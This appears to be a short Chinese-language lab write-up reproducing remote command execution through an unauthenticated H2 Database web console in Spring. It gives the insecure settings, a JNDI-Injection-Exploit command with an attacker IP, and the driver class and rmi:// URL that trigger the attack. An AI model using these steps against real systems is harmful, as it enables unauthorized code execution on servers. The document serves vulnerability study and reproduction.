H2Database
H2 Database是一个开源的嵌入式数据库引擎,采用java语言编写,不受平台的限制,同时H2 Database提供了一个十分方便的web控制台用于操作和管理数据库内容。H2 Database还提供兼容模式,可以兼容一些主流的数据库,因此采用H2 Database作为开发期的数据库非常方便。
思路
在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
漏洞复现
docker部署环境后,访问:8080/h2-console/
利用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具,下载后直接使用
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/test -A 192.168.__.__
再回到页面
Driver Class: javax.naming.InitialContext
JDBC URL:rmi://192.168.__.__:1099/cziwap
直接连接触发命令执行